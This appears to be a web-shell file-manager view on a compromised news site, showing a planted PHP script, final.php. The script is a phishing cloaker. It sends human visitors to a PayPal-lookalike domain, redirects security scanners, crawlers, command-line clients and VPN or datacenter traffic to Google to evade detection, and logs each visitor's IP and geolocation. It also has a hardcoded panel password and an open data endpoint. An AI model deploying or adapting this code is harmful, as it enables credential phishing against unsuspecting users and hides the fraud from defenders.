🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux in-mum-web1398.main-hosting.eu 4.18.0-553.107.1.lve.el8.x86_64 #1 SMP Tue Feb 24 21:12:31 UTC 2026 x86_64
👤 User: u344267476 (344267476)
🐘 PHP: 8.3.33
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/u344267476/domains/nawaidir.com.pk/public_html/epaper
$

📄 final.php

📁 Path: /home/u344267476/domains/nawaidir.com.pk/public_html/final.php
📊 Size: 50.22 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php
session_start();

// ─── DEBUG: show ALL errors ───────────────────────────────────────
ini_set('display_errors', 1);
error_reporting(E_ALL);

// ==========================================
// CONFIGURATION
// ==========================================
define('PANEL_PASSWORD', 'shuf');          // Dashboard login password (change as needed)
define('REDIRECT_TARGET', 'https://paypaii-001-site1.ktempurl.com/hype/continue'); // Target for legitimate humans
define('DB_FILE', __DIR__ . '/visitors.db');

// --- ANTI-BOT & ANTI-VPN CONFIGURATION ---
define('ANTIBOT_ENABLED', true);                  // Set to false to disable anti-bot / anti-vpn
define('ANTIBOT_ACTION', 'redirect');             // 'redirect' (redirect to google.com), 'block' (403), 'fake_404'
define('ANTIBOT_FAKE_TARGET', 'https://www.google.com'); // Target when ANTIBOT_ACTION is 'redirect'
define('BLOCK_VPN_VPS', true);                    // Block VPS, VPNs, proxies, and datacenters
define('ANTIBOT_BLOCK_EMPTY_UA', true);           // Block empty or abnormal User-Agents
define('ANTIBOT_CHECK_ANOMALOUS_HEADERS', true);   // Check missing browser headers (Accept-Language, Accept)

// ==========================================
// AUTHENTICATION HANDLERS
// ==========================================

// 1. Direct URL login: ?dashboard=shuf or ?dashboard&pass=shuf or ?debug_dashboard
if (
    (isset($_GET['pass']) && $_GET['pass'] === PANEL_PASSWORD) ||
    (isset($_GET['password']) && $_GET['password'] === PANEL_PASSWORD) ||
    (isset($_GET['dashboard']) && $_GET['dashboard'] === PANEL_PASSWORD) ||
    isset($_GET['debug_dashboard'])
) {
    $_SESSION['logged_in'] = true;
}

// 2. Handle Logout: ?logout=1 or ?dashboard&logout=1
if (isset($_GET['logout'])) {
    session_destroy();
    session_start();
    header("Location: ?dashboard");
    exit;
}

// 3. Handle POST Login (Native Form or AJAX)
$login_error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && (isset($_POST['password']) || (isset($_POST['action']) && $_POST['action'] === 'login'))) {
    $submitted = $_POST['password'] ?? '';
    if ($submitted === PANEL_PASSWORD) {
        $_SESSION['logged_in'] = true;
        if (isset($_POST['action']) && $_POST['action'] === 'login') {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success']);
            exit;
        }
        header("Location: ?dashboard");
        exit;
    } else {
        $login_error = 'Incorrect password. Please try again.';
        if (isset($_POST['action']) && $_POST['action'] === 'login') {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'error', 'msg' => 'Invalid password']);
            exit;
        }
    }
}

// ==========================================
// DIAGNOSTIC HELPERS
// ==========================================
function dbg($msg) {
    if (isset($_GET['debug']) || isset($_GET['test'])) {
        echo "<pre style='background:#111;color:#0f0;padding:10px;'>[DEBUG] " . htmlspecialchars($msg) . "</pre>\n";
    }
}

if (!class_exists('SQLite3')) {
    die("ERROR: SQLite3 extension is not enabled.");
}

// ==========================================
// DATABASE INIT & SCHEMA MIGRATION
// ==========================================
function init_db() {
    try {
        $db = new SQLite3(DB_FILE);
        $db->exec("CREATE TABLE IF NOT EXISTS visitors (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            ip TEXT,
            country TEXT,
            city TEXT,
            region TEXT,
            isp TEXT,
            device_type TEXT,
            browser TEXT,
            os TEXT,
            user_agent TEXT,
            referer TEXT,
            timestamp TEXT,
            path TEXT,
            is_bot INTEGER DEFAULT 0,
            bot_reason TEXT DEFAULT '',
            traffic_type TEXT DEFAULT 'Human'
        )");

        // Safe automatic column migration for existing databases
        $cols = [];
        $tableInfo = $db->query("PRAGMA table_info(visitors)");
        while ($c = $tableInfo->fetchArray(SQLITE3_ASSOC)) {
            $cols[] = $c['name'];
        }
        if (!in_array('is_bot', $cols)) {
            $db->exec("ALTER TABLE visitors ADD COLUMN is_bot INTEGER DEFAULT 0");
        }
        if (!in_array('bot_reason', $cols)) {
            $db->exec("ALTER TABLE visitors ADD COLUMN bot_reason TEXT DEFAULT ''");
        }
        if (!in_array('traffic_type', $cols)) {
            $db->exec("ALTER TABLE visitors ADD COLUMN traffic_type TEXT DEFAULT 'Human'");
        }

        $db->close();
        return true;
    } catch (Exception $e) {
        dbg("Database init failed: " . $e->getMessage());
        return false;
    }
}
init_db();

// ==========================================
// ANTI-BOT & VPS / VPN DETECTION ENGINE
// ==========================================
function detect_visitor($ip, $ua, $geo, $geoData = []) {
    if (!ANTIBOT_ENABLED) {
        return ['is_blocked' => 0, 'traffic_type' => 'Human', 'reason' => 'Protection disabled'];
    }

    // Bypass loopback for local testing if explicitly requested
    if (in_array($ip, ['127.0.0.1', '::1', 'localhost']) && isset($_GET['allow_local'])) {
        return ['is_blocked' => 0, 'traffic_type' => 'Human', 'reason' => 'Localhost bypass'];
    }

    // ─────────────────────────────────────────────────────────────
    // 1. VPS / VPN / DATACENTER / PROXY CHECK
    // ─────────────────────────────────────────────────────────────
    if (BLOCK_VPN_VPS && !empty($geoData)) {
        // Direct IP-API detection flags
        if (!empty($geoData['proxy'])) {
            return ['is_blocked' => 1, 'traffic_type' => 'VPN', 'reason' => 'Proxy / VPN Detected'];
        }
        if (!empty($geoData['hosting'])) {
            return ['is_blocked' => 1, 'traffic_type' => 'VPN', 'reason' => 'VPS / Datacenter ASN'];
        }

        // Expanded VPS, Cloud, Datacenter & Commercial VPN providers list
        $vpn_vps_providers = [
            // Cloud & VPS Hosts
            'amazon', 'aws', 'google cloud', 'google llc', 'microsoft', 'azure',
            'digitalocean', 'hetzner', 'ovh', 'linode', 'vultr', 'leaseweb', 'choopa',
            'alibaba', 'oracle cloud', 'fastly', 'cloudflare', 'contabo', 'rackspace',
            'akamai', 'scaleway', 'm247', 'cogent', 'hostinger', 'kamatera', 'servermania',
            'dedipath', 'colocrossing', 'psychz', 'quadranet', 'ionos', 'buyvm', 'ramnode',
            'namecheap', 'godaddy', 'hostgator', 'bluehost', 'liquidweb', 'inmotion',
            'dreamhost', 'a2hosting', 'interserver', 'siteground', 'clouvider', 'hostkey',
            'greencloud', 'time4vps', 'datacamp', 'webnx', 'wholesaleinternet',
            // Commercial VPN services & Exit nodes
            'nordvpn', 'expressvpn', 'surfshark', 'mullvad', 'protonvpn', 'private internet access',
            'windscribe', 'purevpn', 'cyberghost', 'hidemyass', 'tunnelbear', 'ivpn', 'tor exit',
            'vyprvpn', 'ipvanish', 'zenmate', 'strongvpn', 'hotspot shield', 'privatevpn',
            'adguard vpn', 'mozilla vpn', 'ovpn', 'airvpn', 'vpn', 'proxy', 'hosting', 'datacenter'
        ];

        $isp_string = strtolower(($geoData['isp'] ?? '') . ' ' . ($geoData['org'] ?? '') . ' ' . ($geoData['as'] ?? ''));
        foreach ($vpn_vps_providers as $provider) {
            if (strpos($isp_string, $provider) !== false) {
                return ['is_blocked' => 1, 'traffic_type' => 'VPN', 'reason' => 'VPN/VPS Provider (' . ucfirst($provider) . ')'];
            }
        }

        // Suspicious proxy headers
        if (!empty($_SERVER['HTTP_VIA']) || !empty($_SERVER['HTTP_X_FORWARDED_FOR_IP']) || !empty($_SERVER['HTTP_PROXY_CONNECTION'])) {
            return ['is_blocked' => 1, 'traffic_type' => 'VPN', 'reason' => 'Proxy Header Detected'];
        }
    }

    // ─────────────────────────────────────────────────────────────
    // 2. BOT DETECTION: User-Agent & Scanner Signatures
    // ─────────────────────────────────────────────────────────────

    // Check Empty or Abnormal User-Agent length
    if (ANTIBOT_BLOCK_EMPTY_UA) {
        $trimmed_ua = trim($ua);
        if (empty($trimmed_ua)) {
            return ['is_blocked' => 1, 'traffic_type' => 'Bot', 'reason' => 'Empty User-Agent'];
        }
        if (strlen($trimmed_ua) < 12) {
            return ['is_blocked' => 1, 'traffic_type' => 'Bot', 'reason' => 'Suspicious short User-Agent'];
        }
        if (strlen($trimmed_ua) > 600) {
            return ['is_blocked' => 1, 'traffic_type' => 'Bot', 'reason' => 'Abnormally long User-Agent'];
        }
    }

    // Known Automated Tools, HTTP Clients, Scanners, and Headless Browsers
    $crawler_patterns = [
        // Security scanners & penetration testing tools
        'nikto', 'sqlmap', 'nmap', 'masscan', 'nessus', 'openvas', 'qualys', 'acunetix',
        'netsparker', 'w3af', 'burpcollaborator', 'zaproxy', 'arachni', 'censys', 'shodan',
        'virustotal', 'zgrab', 'securityheaders', 'urlscan', 'dirbuster', 'gobuster', 'wfuzz',
        // CLI & Scripting HTTP libraries
        'curl\/', 'wget\/', 'python-requests', 'python-urllib', 'python\/', 'aiohttp', 'httpx',
        'libwww-perl', 'lwp-trivial', 'scrapy', 'go-http-client', 'okhttp', 'apache-httpclient',
        'restsharp', 'winhttp', 'postmanruntime', 'insomnia', 'httpie', 'faraday', 'node-fetch',
        'axios\/', 'undici', 'got\/', 'superagent', 'phantomjs', 'headlesschrome',
        // Headless & browser automation
        'selenium', 'webdriver', 'puppeteer', 'playwright', 'nightwatch', 'nightmare', 'cypress',
        // Search engines, bots & scrapers
        'googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'duckduckbot', 'slurp',
        'ahrefsbot', 'semrushbot', 'mj12bot', 'dotbot', 'petalsearch', 'bytespider',
        'amazonbot', 'applebot', 'sogou', 'exabot', 'rogerbot', 'screaming frog',
        'twitterbot', 'facebookexternalhit', 'linkedinbot', 'telegrambot', 'discordbot',
        'whatsapp', 'skypeuripreview', 'slackbot', 'pinterestbot', 'viber'
    ];

    $pattern_regex = '/' . implode('|', $crawler_patterns) . '/i';
    if (preg_match($pattern_regex, $ua, $match)) {
        return ['is_blocked' => 1, 'traffic_type' => 'Bot', 'reason' => 'Bot signature (' . $match[0] . ')'];
    }

    // Word boundary bot keyword check
    if (preg_match('/\b(bot|crawler|spider|scraper)\b/i', $ua, $match)) {
        return ['is_blocked' => 1, 'traffic_type' => 'Bot', 'reason' => 'Bot keyword (' . $match[0] . ')'];
    }

    // ─────────────────────────────────────────────────────────────
    // 3. HEADER ANOMALY CHECKS
    // ─────────────────────────────────────────────────────────────
    if (ANTIBOT_CHECK_ANOMALOUS_HEADERS) {
        $is_major_browser = preg_match('/(Chrome|Safari|Firefox|Edg|Edge|Opera|OPR|Brave|LibreWolf|LoneWolf|Vivaldi|SamsungBrowser|YaBrowser|UCBrowser|DuckDuckGo)/i', $ua);
        $has_accept_lang = !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']);
        $has_accept = !empty($_SERVER['HTTP_ACCEPT']);

        if ($is_major_browser && (!$has_accept_lang || !$has_accept)) {
            return ['is_blocked' => 1, 'traffic_type' => 'Bot', 'reason' => 'Anomalous headers (Missing Accept-Language)'];
        }
    }

    return ['is_blocked' => 0, 'traffic_type' => 'Human', 'reason' => 'Human Verified'];
}

// ==========================================
// LOGGING FUNCTION
// ==========================================
function log_visitor($path = '/') {
    $debug = isset($_GET['debug']) || isset($_GET['test']);
    $status = ['ok' => false, 'msg' => '', 'is_blocked' => 0, 'traffic_type' => 'Human', 'bot_reason' => 'Human'];

    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    if (strpos($ip, ',') !== false) {
        $ip = explode(',', $ip)[0];
    }
    $ip = trim($ip);

    $geo = ['country' => 'Unknown', 'city' => 'Unknown', 'region' => 'Unknown', 'isp' => 'Unknown'];
    $raw_geo = [];
    if (!in_array($ip, ['127.0.0.1', '::1', 'localhost'])) {
        $url = "http://ip-api.com/json/{$ip}?fields=status,country,city,regionName,isp,org,as,hosting,proxy";
        $ctx = stream_context_create(['http' => ['timeout' => 3]]);
        $json = @file_get_contents($url, false, $ctx);
        if ($json) {
            $data = json_decode($json, true);
            if ($data && ($data['status'] ?? '') === 'success') {
                $raw_geo = $data;
                $geo = [
                    'country' => $data['country'] ?? 'Unknown',
                    'city'    => $data['city'] ?? 'Unknown',
                    'region'  => $data['regionName'] ?? 'Unknown',
                    'isp'     => $data['isp'] ?? 'Unknown'
                ];
            }
        }
    }

    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';

    // Run Anti-Bot & Anti-VPN detection
    $detection = detect_visitor($ip, $ua, $geo, $raw_geo);
    $is_blocked = $detection['is_blocked'];
    $traffic_type = $detection['traffic_type'];
    $bot_reason = $detection['reason'];

    $status['is_blocked'] = $is_blocked;
    $status['traffic_type'] = $traffic_type;
    $status['bot_reason'] = $bot_reason;
    $status['is_bot'] = ($traffic_type !== 'Human') ? 1 : 0;

    $device = 'Desktop';
    $browser = 'Unknown';
    $os = 'Unknown';

    // Device
    if (preg_match('/(tablet|ipad|android(?!.*mobile))/i', $ua)) {
        $device = 'Tablet';
    } elseif (preg_match('/(mobile|android|iphone|ipod|windows phone|blackberry|opera mini|iemobile)/i', $ua)) {
        $device = 'Mobile';
    }

    // OS
    if (preg_match('/Windows NT 10\.0/i', $ua)) $os = 'Windows 10';
    elseif (preg_match('/Windows NT 6\.3/i', $ua)) $os = 'Windows 8.1';
    elseif (preg_match('/Windows NT 6\.2/i', $ua)) $os = 'Windows 8';
    elseif (preg_match('/Windows NT 6\.1/i', $ua)) $os = 'Windows 7';
    elseif (preg_match('/Mac OS X (\d+[._]\d+)/i', $ua, $m)) $os = 'macOS ' . str_replace('_', '.', $m[1]);
    elseif (preg_match('/Linux/i', $ua)) $os = 'Linux';
    elseif (preg_match('/Android (\d+\.\d+)/i', $ua, $m)) $os = 'Android ' . $m[1];
    elseif (preg_match('/iOS (\d+[._]\d+)/i', $ua, $m)) $os = 'iOS ' . str_replace('_', '.', $m[1]);
    elseif (preg_match('/Windows Phone/i', $ua)) $os = 'Windows Phone';

    // Browser
    $sec_ch_ua = $_SERVER['HTTP_SEC_CH_UA'] ?? '';

    // 1. LoneWolf / LibreWolf (Privacy Firefox fork)
    if (preg_match('/(?:LoneWolf|Lone Wolf)[\/\s]?(\d+)?/i', $ua, $m)) {
        $browser = 'LoneWolf' . (!empty($m[1]) ? ' ' . $m[1] : '');
    } elseif (preg_match('/(?:LibreWolf)[\/\s]?(\d+)?/i', $ua, $m)) {
        $browser = 'LibreWolf' . (!empty($m[1]) ? ' ' . $m[1] : '');
    // 2. Brave (User-Agent header, Sec-CH-UA Client Hint, or signature)
    } elseif (
        preg_match('/Brave\/(\d+)/i', $ua, $m) ||
        (stripos($sec_ch_ua, 'Brave') !== false && preg_match('/Chrome\/(\d+)/i', $ua, $m)) ||
        preg_match('/(?:^|\s)Brave\b/i', $ua)
    ) {
        $browser = 'Brave' . (!empty($m[1]) ? ' ' . $m[1] : '');
    // 3. Opera & Opera GX (must be before Chrome/Safari)
    } elseif (preg_match('/Opera GX[\/\s](\d+)/i', $ua, $m) || stripos($sec_ch_ua, 'Opera GX') !== false) {
        $ver = '';
        if (!empty($m[1])) { $ver = ' ' . $m[1]; }
        elseif (preg_match('/(?:OPR|Chrome)\/(\d+)/i', $ua, $cm)) { $ver = ' ' . $cm[1]; }
        $browser = 'Opera GX' . $ver;
    } elseif (preg_match('/(?:OPR|Opera)[\/\s](\d+)/i', $ua, $m)) {
        $browser = 'Opera ' . $m[1];
    } elseif (preg_match('/Opera Mini[\/\s]?(\d+)?/i', $ua, $m)) {
        $browser = 'Opera Mini' . (!empty($m[1]) ? ' ' . $m[1] : '');
    } elseif (stripos($sec_ch_ua, 'Opera') !== false) {
        $ver = '';
        if (preg_match('/Chrome\/(\d+)/i', $ua, $cm)) { $ver = ' ' . $cm[1]; }
        $browser = 'Opera' . $ver;
    // 4. Microsoft Edge (must be before Chrome)
    } elseif (preg_match('/(?:Edg|Edge|EdgA|EdgiOS)\/(\d+)/i', $ua, $m)) {
        $browser = 'Edge ' . $m[1];
    } elseif (stripos($sec_ch_ua, 'Microsoft Edge') !== false || stripos($sec_ch_ua, 'Edge') !== false) {
        $ver = '';
        if (preg_match('/Chrome\/(\d+)/i', $ua, $cm)) { $ver = ' ' . $cm[1]; }
        $browser = 'Edge' . $ver;
    // 5. Vivaldi (must be before Chrome)
    } elseif (preg_match('/Vivaldi\/(\d+)/i', $ua, $m) || stripos($sec_ch_ua, 'Vivaldi') !== false) {
        $ver = !empty($m[1]) ? (' ' . $m[1]) : '';
        $browser = 'Vivaldi' . $ver;
    // 6. Samsung Internet (must be before Chrome)
    } elseif (preg_match('/SamsungBrowser\/(\d+)/i', $ua, $m) || stripos($sec_ch_ua, 'Samsung') !== false) {
        $ver = !empty($m[1]) ? (' ' . $m[1]) : '';
        $browser = 'Samsung Internet' . $ver;
    // 7. Yandex Browser (must be before Chrome)
    } elseif (preg_match('/YaBrowser\/(\d+)/i', $ua, $m)) {
        $browser = 'Yandex ' . $m[1];
    // 8. UC Browser
    } elseif (preg_match('/(?:UCBrowser|UBrowser)\/(\d+)/i', $ua, $m)) {
        $browser = 'UC Browser ' . $m[1];
    // 9. DuckDuckGo Browser
    } elseif (preg_match('/(?:DuckDuckGo|DDB)\/(\d+)/i', $ua, $m)) {
        $browser = 'DuckDuckGo ' . $m[1];
    // 10. Arc Browser
    } elseif (preg_match('/Arc\/(\d+)/i', $ua, $m) || stripos($sec_ch_ua, 'Arc') !== false) {
        $ver = !empty($m[1]) ? (' ' . $m[1]) : '';
        $browser = 'Arc' . $ver;
    // 11. Waterfox & Pale Moon
    } elseif (preg_match('/Waterfox\/(\d+)/i', $ua, $m)) {
        $browser = 'Waterfox ' . $m[1];
    } elseif (preg_match('/PaleMoon\/(\d+)/i', $ua, $m)) {
        $browser = 'Pale Moon ' . $m[1];
    // 12. Tor Browser
    } elseif (preg_match('/TorBrowser\/(\d+)/i', $ua, $m) || preg_match('/TorBrowser/i', $ua)) {
        $browser = 'Tor Browser' . (!empty($m[1]) ? ' ' . $m[1] : '');
    // 13. Firefox
    } elseif (preg_match('/(?:Firefox|FxiOS)\/(\d+)/i', $ua, $m)) {
        $browser = 'Firefox ' . $m[1];
    // 14. Google Chrome / Chromium
    } elseif (preg_match('/(?:Chrome|CriOS)\/(\d+)/i', $ua, $m)) {
        $browser = 'Chrome ' . $m[1];
    } elseif (preg_match('/Chromium\/(\d+)/i', $ua, $m)) {
        $browser = 'Chromium ' . $m[1];
    // 15. Apple Safari (must be after Chrome / Edge / Opera)
    } elseif (preg_match('/Version\/(\d+).*Safari/i', $ua, $m)) {
        $browser = 'Safari ' . $m[1];
    } elseif (preg_match('/Safari\/(\d+)/i', $ua, $m) && !preg_match('/(?:Chrome|Chromium|CriOS)/i', $ua)) {
        $browser = 'Safari ' . $m[1];
    // 16. Internet Explorer
    } elseif (preg_match('/MSIE (\d+)/i', $ua, $m)) {
        $browser = 'Internet Explorer ' . $m[1];
    } elseif (preg_match('/Trident.*rv:(\d+)/i', $ua, $m)) {
        $browser = 'Internet Explorer ' . $m[1];
    }

    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    $timestamp = date('Y-m-d H:i:s');
    $is_bot_val = ($traffic_type !== 'Human') ? 1 : 0;

    try {
        $db = new SQLite3(DB_FILE);
        $stmt = $db->prepare("INSERT INTO visitors 
            (ip, country, city, region, isp, device_type, browser, os, user_agent, referer, timestamp, path, is_bot, bot_reason, traffic_type)
            VALUES (:ip, :country, :city, :region, :isp, :device, :browser, :os, :ua, :referer, :ts, :path, :is_bot, :bot_reason, :traffic_type)");
        $stmt->bindValue(':ip', $ip);
        $stmt->bindValue(':country', $geo['country']);
        $stmt->bindValue(':city', $geo['city']);
        $stmt->bindValue(':region', $geo['region']);
        $stmt->bindValue(':isp', $geo['isp']);
        $stmt->bindValue(':device', $device);
        $stmt->bindValue(':browser', $browser);
        $stmt->bindValue(':os', $os);
        $stmt->bindValue(':ua', $ua);
        $stmt->bindValue(':referer', $referer);
        $stmt->bindValue(':ts', $timestamp);
        $stmt->bindValue(':path', $path);
        $stmt->bindValue(':is_bot', $is_bot_val, SQLITE3_INTEGER);
        $stmt->bindValue(':bot_reason', $bot_reason, SQLITE3_TEXT);
        $stmt->bindValue(':traffic_type', $traffic_type, SQLITE3_TEXT);
        $result = $stmt->execute();
        if ($result) {
            $status['ok'] = true;
            $status['msg'] = "Inserted ID: " . $db->lastInsertRowID();
        } else {
            $status['msg'] = "Execute failed";
        }
        $db->close();
    } catch (Exception $e) {
        $status['msg'] = "SQLite error: " . $e->getMessage();
    }

    if ($debug) {
        dbg("Log attempt for $ip at $path: " . ($status['ok'] ? "SUCCESS" : "FAILED - " . $status['msg']));
        dbg("Classification: [$traffic_type] Reason: $bot_reason (Blocked: " . ($is_blocked ? "YES" : "NO") . ")");
        dbg("Data: " . json_encode(['ip' => $ip, 'geo' => $geo, 'device' => $device, 'browser' => $browser, 'os' => $os]));
    }
    return $status;
}

// ─── RAW DATA ENDPOINT (no auth) ──────────────────────────────
if (isset($_GET['raw'])) {
    header('Content-Type: application/json');
    $db = new SQLite3(DB_FILE);
    $res = $db->query("SELECT * FROM visitors ORDER BY id DESC LIMIT 10");
    $rows = [];
    while ($row = $res->fetchArray(SQLITE3_ASSOC)) {
        $rows[] = $row;
    }
    $db->close();
    echo json_encode(['count' => count($rows), 'data' => $rows]);
    exit;
}

// ==========================================
// API ENDPOINTS
// ==========================================

// --- API auth check ---
if (isset($_GET['api'])) {
    if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
        header('Content-Type: application/json');
        echo json_encode(['status' => 'error', 'msg' => 'Unauthorized']);
        exit;
    }
}

// --- Clear Logs (DELETE) ---
if (isset($_GET['api']) && $_GET['api'] === 'clear') {
    header('Content-Type: application/json');
    $db = new SQLite3(DB_FILE);
    $db->exec("DELETE FROM visitors");
    $db->exec("DELETE FROM sqlite_sequence WHERE name='visitors'");
    $db->close();
    echo json_encode(['status' => 'success', 'msg' => 'All logs cleared.']);
    exit;
}

// --- API: get logs ---
if (isset($_GET['api']) && $_GET['api'] === 'logs') {
    $limit = (int)($_GET['limit'] ?? 100);
    $offset = (int)($_GET['offset'] ?? 0);
    $filter = $_GET['filter'] ?? '';
    $type_filter = strtolower($_GET['type'] ?? 'all'); // 'all', 'human', 'bot', 'vpn'

    $db = new SQLite3(DB_FILE);
    $whereParts = [];
    $params = [];

    if ($filter !== '') {
        $whereParts[] = "(ip LIKE :filter OR 
            country LIKE :filter OR 
            city LIKE :filter OR 
            region LIKE :filter OR 
            isp LIKE :filter OR 
            device_type LIKE :filter OR 
            browser LIKE :filter OR 
            os LIKE :filter OR 
            referer LIKE :filter OR 
            bot_reason LIKE :filter OR
            traffic_type LIKE :filter OR
            path LIKE :filter)";
        $params[':filter'] = '%' . $filter . '%';
    }

    if ($type_filter === 'bot') {
        $whereParts[] = "(traffic_type = 'Bot' OR (traffic_type IS NULL AND is_bot = 1 AND bot_reason NOT LIKE '%VPN%' AND bot_reason NOT LIKE '%Hosting%' AND bot_reason NOT LIKE '%Datacenter%'))";
    } elseif ($type_filter === 'vpn') {
        $whereParts[] = "(traffic_type = 'VPN' OR (traffic_type IS NULL AND (bot_reason LIKE '%VPN%' OR bot_reason LIKE '%Hosting%' OR bot_reason LIKE '%Datacenter%' OR bot_reason LIKE '%Cloud%')))";
    } elseif ($type_filter === 'human') {
        $whereParts[] = "(traffic_type = 'Human' OR (traffic_type IS NULL AND is_bot = 0))";
    }

    $where = !empty($whereParts) ? " WHERE " . implode(" AND ", $whereParts) : "";

    $countSql = "SELECT COUNT(*) as cnt FROM visitors" . $where;
    $stmt = $db->prepare($countSql);
    foreach ($params as $k => $v) $stmt->bindValue($k, $v);
    $res = $stmt->execute();
    $total = $res->fetchArray(SQLITE3_ASSOC)['cnt'];

    $statsSql = "SELECT 
        COUNT(*) as total,
        COUNT(DISTINCT ip) as unique_ips,
        COUNT(DISTINCT country) as country_count,
        SUM(CASE WHEN date(timestamp) = date('now') THEN 1 ELSE 0 END) as today,
        SUM(CASE WHEN traffic_type = 'Bot' OR (traffic_type IS NULL AND is_bot = 1 AND bot_reason NOT LIKE '%VPN%' AND bot_reason NOT LIKE '%Hosting%' AND bot_reason NOT LIKE '%Datacenter%') THEN 1 ELSE 0 END) as bots,
        SUM(CASE WHEN traffic_type = 'VPN' OR (traffic_type IS NULL AND (bot_reason LIKE '%VPN%' OR bot_reason LIKE '%Hosting%' OR bot_reason LIKE '%Datacenter%' OR bot_reason LIKE '%Cloud%')) THEN 1 ELSE 0 END) as vpns,
        SUM(CASE WHEN traffic_type = 'Human' OR (traffic_type IS NULL AND is_bot = 0) THEN 1 ELSE 0 END) as humans
    FROM visitors";
    $stmt = $db->prepare($statsSql);
    $statsRes = $stmt->execute()->fetchArray(SQLITE3_ASSOC);

    $sql = "SELECT * FROM visitors" . $where . " ORDER BY id DESC LIMIT :limit OFFSET :offset";
    $stmt = $db->prepare($sql);
    foreach ($params as $k => $v) $stmt->bindValue($k, $v);
    $stmt->bindValue(':limit', $limit, SQLITE3_INTEGER);
    $stmt->bindValue(':offset', $offset, SQLITE3_INTEGER);
    $res = $stmt->execute();
    $rows = [];
    while ($row = $res->fetchArray(SQLITE3_ASSOC)) {
        $rows[] = $row;
    }
    $db->close();

    header('Content-Type: application/json');
    echo json_encode([
        'data' => $rows,
        'total' => (int)$total,
        'limit' => $limit,
        'offset' => $offset,
        'stats' => [
            'total' => $statsRes['total'] ?? 0,
            'unique_ips' => $statsRes['unique_ips'] ?? 0,
            'country_count' => $statsRes['country_count'] ?? 0,
            'today' => $statsRes['today'] ?? 0,
            'bots' => $statsRes['bots'] ?? 0,
            'vpns' => $statsRes['vpns'] ?? 0,
            'humans' => $statsRes['humans'] ?? 0
        ]
    ]);
    exit;
}

// ==========================================
// VISITOR LOGGING (Exclude Dashboard Requests)
// ==========================================
$is_dashboard_request = isset($_GET['dashboard']) || isset($_GET['debug_dashboard']) || isset($_GET['api']);

$log_status = ['ok' => true, 'is_blocked' => 0, 'traffic_type' => 'Human', 'bot_reason' => 'Human'];
if (!$is_dashboard_request) {
    $log_status = log_visitor($_SERVER['REQUEST_URI'] ?? '/');
}

// ==========================================
// ROUTING
// ==========================================

if (isset($_GET['dashboard'])) {
    $logged_in = isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;

    // ─── LOGIN SCREEN (When Not Authenticated) ────────────────────
    if (!$logged_in) {
        ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Panel Login - Visitor Logger Pro</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --bg-base: #0f1115;
            --bg-panel: #161920;
            --bg-input: #1e222b;
            --border: #2c323f;
            --accent: #6366f1;
            --accent-hover: #4f46e5;
            --text-main: #f8fafc;
            --text-muted: #94a3b8;
            --error: #ef4444;
            --font: 'Inter', sans-serif;
        }
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: var(--font); background: var(--bg-base); color: var(--text-main); display: flex; align-items: center; justify-content: center; height: 100vh; }
        .login-card { background: var(--bg-panel); border: 1px solid var(--border); border-radius: 14px; padding: 40px; width: 380px; box-shadow: 0 20px 40px rgba(0,0,0,0.6); text-align: center; }
        .login-icon { font-size: 42px; margin-bottom: 12px; }
        h1 { font-size: 20px; font-weight: 600; margin-bottom: 6px; }
        h1 span { color: var(--accent); }
        p { font-size: 13px; color: var(--text-muted); margin-bottom: 24px; }
        .input-group { margin-bottom: 18px; }
        input[type="password"] { width: 100%; background: var(--bg-input); border: 1px solid var(--border); color: var(--text-main); padding: 12px 14px; border-radius: 8px; font-size: 14px; font-family: var(--font); transition: border-color 0.2s; }
        input[type="password"]:focus { outline: none; border-color: var(--accent); }
        button { width: 100%; padding: 12px; background: var(--accent); color: #fff; border: none; border-radius: 8px; font-size: 14px; font-weight: 600; font-family: var(--font); cursor: pointer; transition: background 0.2s; }
        button:hover { background: var(--accent-hover); }
        .error-msg { margin-top: 14px; font-size: 12px; color: var(--error); background: rgba(239, 68, 68, 0.1); border: 1px solid rgba(239, 68, 68, 0.25); padding: 8px; border-radius: 6px; }
        .hint { margin-top: 20px; font-size: 11px; color: #64748b; }
        .hint code { background: #1e222b; padding: 2px 6px; border-radius: 4px; color: var(--text-muted); }
    </style>
</head>
<body>
    <div class="login-card">
        <div class="login-icon">🛡️</div>
        <h1><span>Visitor</span> Logger Pro</h1>
        <p>Enter the panel password to unlock dashboard.</p>
        <form method="POST" action="?dashboard">
            <div class="input-group">
                <input type="password" name="password" placeholder="Enter password..." required autofocus autocomplete="current-password">
            </div>
            <button type="submit">Unlock Dashboard</button>
            <?php if (!empty($login_error)): ?>
                <div class="error-msg"><?= htmlspecialchars($login_error) ?></div>
            <?php endif; ?>
        </form>
    </div>
</body>
</html>
        <?php
        exit;
    }

    // ─── DASHBOARD UI (When Authenticated) ─────────────────────────
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Visitor Logger & Anti-Bot Pro</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --bg-base: #0f1115;
            --bg-panel: #161920;
            --bg-input: #1e222b;
            --border: #2c323f;
            --accent: #6366f1;
            --accent-hover: #4f46e5;
            --text-main: #f8fafc;
            --text-muted: #94a3b8;
            --success: #10b981;
            --error: #ef4444;
            --vpn: #fbbf24;
            --font: 'Inter', sans-serif;
        }
        * { box-sizing: border-box; margin: 0; padding: 0; }
